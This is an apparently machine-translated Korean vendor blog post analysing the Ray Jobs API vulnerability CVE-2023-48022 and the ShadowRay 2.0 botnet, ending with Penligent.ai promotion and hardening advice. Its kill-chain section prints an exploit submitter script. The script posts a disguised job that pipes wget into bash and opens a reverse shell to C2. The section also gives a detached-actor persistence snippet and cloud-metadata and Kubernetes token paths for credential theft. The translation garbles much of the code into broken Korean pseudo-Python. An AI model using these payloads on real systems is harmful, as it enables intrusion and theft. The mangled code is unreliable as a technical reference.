2026년입니다. AI 산업은 실험적인 챗봇에서 중요한 인프라를 관리하는 자율 에이전트로 발전했습니다. 하지만 세계 최고 수준의 AI 기업의 서버 팜과 Kubernetes 클러스터를 괴롭히는 것은 과거의 유령입니다: CVE-2023-48022.
2023년 말에 처음 공개된 이 중요 취약점(CVSS 9.8)은 다음과 같습니다. 레이 프레임워크-OpenAI, Uber, Amazon에서 사용하는 분산 컴퓨팅 표준은 이미 해결된 문제라고 생각했습니다. 하지만 2025년 후반에 폭발적으로 증가한 ShadowRay 2.0 봇넷은 그렇지 않다는 것을 증명했습니다. 수만 개의 GPU 클러스터가 크립토마이닝뿐만 아니라 정교한 데이터 유출과 분산 서비스 거부(DDoS) 공격을 위해 좀비 네트워크에 조용히 징집되었습니다.
엘리트 AI 보안 엔지니어에게 CVE-2023-48022는 단순한 버그가 아니라 다음과 같은 사례 연구입니다. "설계상 안전하지 않습니다." 이는 AI 개발의 개방적인 연구 문화와 현대 인터넷의 적대적인 현실 사이의 충돌을 나타냅니다. 이 문서에서는 취약점에 대한 포렌식 분석을 제공하고, ShadowRay 2.0의 진화한 수법을 분석하며, 기존 스캐닝이 AI 컴퓨팅 기판을 보호하지 못하는 이유를 간략하게 설명합니다.

"취약점으로서의 기능"의 아키텍처
CVE-2023-48022가 죽지 않는 이유를 이해하려면 Ray의 철학을 이해해야 합니다. Ray는 신뢰할 수 있는 인트라넷에서 속도와 사용 편의성을 위해 만들어졌습니다.
결함:
대폭 강화 이전 버전(그리고 잘못 구성된 최신 배포)에서는 Ray 대시보드와 작업 API가 인증 메커니즘 없이 기본적으로 0.0.0.0:8265에 바인딩됩니다.
Ray를 개발한 Anyscale은 처음에 Ray가 엄격한 네트워크 경계 내에서 실행되도록 설계되었다고 주장하며 CVE 지정에 대해 이의를 제기했습니다. 개발자가 원격 모니터링을 위해 Ray 대시보드를 인터넷에 노출하기 시작하거나 공격자가 서버 측 요청 위조(SSRF)를 사용하여 내부적으로 피벗하기 시작하면서 "하드 외피" 방어 모델에 대한 의존도는 무너졌습니다.
공격 표면 해체
이 취약점은 공격자에게 간단한 HTTP API를 통해 레이 클러스터에 대한 모든 권한을 부여합니다. 메모리 손상, 경쟁 조건, 복잡한 힙 풍수가 필요하지 않습니다.
공격 프리미티브:
- 진입 지점: 작업 API(
/api/jobs/). - 메커니즘: API를 사용하면 임의의 Python 코드 또는 셸 명령을 제출하여 클러스터의 워커 노드에서 실행할 수 있습니다.
- 특권: 레이 프로세스는 종종 다음과 같이 실행됩니다.
root또는 데이터 세트가 포함된 S3 버킷에 액세스할 수 있는 높은 권한의 IAM 역할로 Docker 컨테이너 내부에 있습니다.
기술 리플레이: 섀도우레이 킬 체인
ShadowRay 2.0 액터에 사용된 익스플로잇 로직을 재구성해 보겠습니다. 이것은 단순한 curl 명령을 사용하여 영구 제어를 조율하는 방법을 보여줍니다.
1단계: 정찰 및 지문 인식
공격자는 특별히 TCP 포트를 검색합니다. 8265. 쿼리를 통해 서비스를 핑거프린팅합니다. /api/version 를 클릭하거나 독특한 Ray 대시보드 HTML 제목을 찾으세요.
2단계: 무기화(Python 작업 제출)
공격자는 "작업 제출자" 역할을 하는 Python 스크립트를 구성합니다. 이 스크립트는 표적의 API와 상호 작용하여 악성 작업을 생성합니다.
Python
`요청 가져오기 요청 가져오기 json 가져오기 시스템 가져오기

대상: 쇼단 또는 SSRF를 통해 발견된 노출된 광선 클러스터
TARGET_IP = "http://target-cluster.ai:8265“
def exploit_cluster(target): url = f"{target}/api/jobs/"
# 페이로드: 다단계 배시 스크립트
# 1. 지속성: 숨겨진 크론 작업 또는 시스템드 서비스 생성
# 2. 회피: 경쟁 마이너를 죽이기
# 3. 연결: C2로 셸 역전
entrypoint_cmd = (
"wget -qO- | bash && "
"export OMP_NUM_THREADS=1 && "
"python3 -c 'import socket,os,pty;s=socket.socket();...'"
)
payload = {
"entrypoint": entrypoint_cmd,
"submission_id": "optimization_task_v4", # 소셜 엔지니어링: 합법적인 작업처럼 보이게 하기
"런타임_환경": {
"working_dir": "/tmp",
"pip": ["requests", "boto3"] # 유출을 위한 사전 설치 도구
},
"메타데이터": {
"user": "root",
"description": "시스템 상태 확인"
}
}
try:
print(f"[*] {target}으로 페이로드 전송 중...")
resp = requests.post(url, json=payload, timeout=10)
resp.status_code == 200이면
job_id = resp.json().get('job_id')
print(f"[+] 익스플로잇 성공. 작업 ID: {job_id}")
print(f"[+] 이제 클러스터를 제어할 수 있습니다.")
else:
print(f"[-] Failed: {resp.status_code} - {resp.text}")
예외를 e로 제외합니다:
print(f"[!] Error: {e}")
만약 이름 == “메인": exploit_cluster(TARGET_IP)`
3단계: 신원 도용을 통한 측면 이동
코드가 워커 노드에서 실행되면 스크립트는 인스턴스 메타데이터 서비스(IMDS) 를 사용하여 클라우드 자격 증명을 훔칠 수 있습니다.
- AWS: 쿼리
http://169.254.169.254/latest/meta-data/iam/security-credentials/를 사용하여 EC2 역할의 키를 훔칩니다. - Kubernetes: 읽기
/var/run/secrets/kubernetes.io/serviceaccount/token.
AI 학습 작업에는 대규모 데이터 세트에 대한 액세스가 필요하기 때문에 이러한 자격 증명에는 종종 다음이 포함됩니다. S3FullAccess 또는 이와 동등한 권한을 획득하여 공격자가 수백만 달러 상당의 독점 모델을 유출하거나 훈련 데이터를 오염시킬 수 있습니다.
ShadowRay 2.0: 지속성의 진화
2025년 말에 관찰된 '2.0' 변형은 새로운 지속성 메커니즘을 도입했습니다: 분리된 액터.
레이에서 '액터'는 상태 저장 워커 프로세스입니다. 공격자는 작업 수명 주기에서 분리되도록 설계된 악성 액터를 배포합니다. 보안팀이 대시보드에 표시되는 특정 '작업'을 죽이더라도 액터 프로세스는 백그라운드에서 리소스를 소비하고 C2 링크를 유지하면서 계속 살아 있습니다.
Python
# 개념적 악성 액터 @ray.remote 클래스 ShadowActor: def init(self): self.c2_connection = setup_c2()
def keep_alive(self):
while True:
# 채굴 또는 유출 로직
process_data()
time.sleep(1)
분리된 액터로 배포 - 작업 종료 후에도 살아남음
actor = ShadowActor.options(name="system_optimizer", lifetime="detached").remote()`
'섀도우 AI' 문제와 탐지 실패
고가의 방화벽을 사용하는 조직이 여전히 CVE-2023-48022의 공격을 받는 이유는 무엇일까요? 답은 다음과 같습니다. 섀도우 AI.
데이터 과학자와 ML 엔지니어는 종종 실험을 위해 임시 클러스터를 가동하기 위해 IT 제어를 우회합니다. 이들은 디버깅을 쉽게 하기 위해 기본적으로 대시보드를 노출하도록 설정된 GitHub에서 복사한 Terraform 스크립트나 Helm 차트를 사용합니다. 이러한 "섀도 클러스터"는 중앙 IT 인벤토리와 기존 취약성 스캐너("섀도 클러스터"를 스캔하는 192.168.1.0/24 하지만 엔지니어가 만든 임시 VPC는 놓치지 마세요).
또한 기존 스캐너는 다음을 확인합니다. 소프트웨어 버전. 엔지니어가 안정된 이전 Docker 이미지를 사용하여 레이 클러스터를 스핀업하는 경우(예 레이프로젝트/레이:2.8.0)를 사용하여 문서를 복제하면 즉시 취약해집니다.
AI 기반 방어: 철저한 접근 방식
ShadowRay를 방어하려면 정적 검사 이상의 것이 필요합니다. 동적 자산 검색 그리고 행동 분석.
여기에서 Penligent.ai AI 인프라의 방어 태세를 변경합니다.
1. 섀도 에스테이트 매핑하기
Penligent의 에이전트는 클라우드 API(AWS, Azure, GCP) 및 Kubernetes 클러스터와 통합되어 지속적인 자산 검색을 수행합니다. 프로덕션 자산으로 태그가 지정되지 않았더라도 "레이와 유사한" 동작(개방형 포트 8265, 10001, 6379)을 보이는 컴퓨팅 인스턴스를 식별합니다. 이를 통해 "섀도 AI" 표면을 조명합니다.
2. 능동적이고 안전한 인증
펜리전트는 (위조될 수 있는) 배너 그래핑에 의존하는 대신 다음과 같이 수행합니다. 안전한 활성 인증. 단순히 다음을 계산하는 작업을 제출하는 것과 같은 양성 페이로드를 사용하여 Jobs API와 상호 작용을 시도합니다. 1 + 1 또는 임의의 문자열을 에코합니다.
- 성공하면 오탐 없이 RCE 위험을 확인하고 SOC에 즉시 알립니다.
- 안전: 펜리전트 프로브는 웜과 달리 시스템 상태를 수정하거나 지속성을 설치하거나 데이터를 유출하지 않습니다.
3. 컴퓨팅 시그니처의 이상 징후 탐지
펜리전트는 합법적인 교육 워크로드에 대한 기준선을 설정합니다. ShadowRay 감염에는 뚜렷한 지문이 있습니다:
- 네트워크: 마이닝 풀 또는 알 수 없는 IP(C2)에 대한 예기치 않은 아웃바운드 연결.
- 계산: 예약된 교육 작업과 상관관계가 없는 CPU/GPU 사용률 급증.
- 프로세스: 특이한 조개 껍질 생성(
/bin/bash,curl,wget) 레이 워커 프로세스 트리에서.
2026년 방어 전략: 컴퓨팅 기반 강화
CVE-2023-48022 및 후속 버전에 대해 인프라를 면역화하려면 이러한 하드코어 제어 기능을 구현하세요:
- 제로 트러스트 네트워킹: 레이 대시보드를 공개 인터넷에 노출하지 마세요. 액세스는 안전한 바스티온 호스트, VPN 또는 Cloudflare 액세스 또는 AWS 인증 액세스와 같은 ID 인식 프록시(IAP)를 통해 중개되어야 합니다.
- 인증 적용(상호 TLS): 레이는 이제 기본 인증을 지원하지만, 표준은 다음과 같습니다. mTLS. 모든 클러스터 내 및 클라이언트-서버 통신에 대해 클라이언트 인증서를 요구하도록 Ray를 구성합니다.
- 네임스페이스 격리: 엄격한 전용 Kubernetes 네임스페이스에서 레이 클러스터를 실행합니다.
네트워크 정책. 화이트리스트에 등록된 S3 버킷 및 모델 레지스트리(허깅 페이스)를 제외한 모든 이그레스 트래픽을 거부합니다. IMDS에 대한 액세스 차단(169.254.169.254). - 불변 인프라: 공격자가 도구를 다운로드하거나 디스크에 지속성을 설정하지 못하도록 레이 워커 컨테이너에 읽기 전용 루트 파일시스템을 사용하세요.
결론
CVE-2023-48022 는 단순한 취약점이 아니라 보안 아키텍처를 희생하면서까지 AI를 도입하려는 업계의 서두름에서 비롯된 현상입니다. 분산 컴퓨팅에 더 많이 의존하게 되면서 '네트워크 경계'는 더 이상 충분한 방어 수단이 되지 못합니다.
ShadowRay 2.0 캠페인은 공격자들이 이러한 열린 문을 적극적으로 노리고 있다는 것을 증명합니다. 보안 엔지니어는 좀비 봇넷의 다음 노드가 되기 전에 펜리전트 같은 AI 기반 도구를 활용하여 컴퓨팅 자산을 지속적으로 발견, 테스트, 강화하는 '침해 가정' 사고방식을 채택해야 합니다.

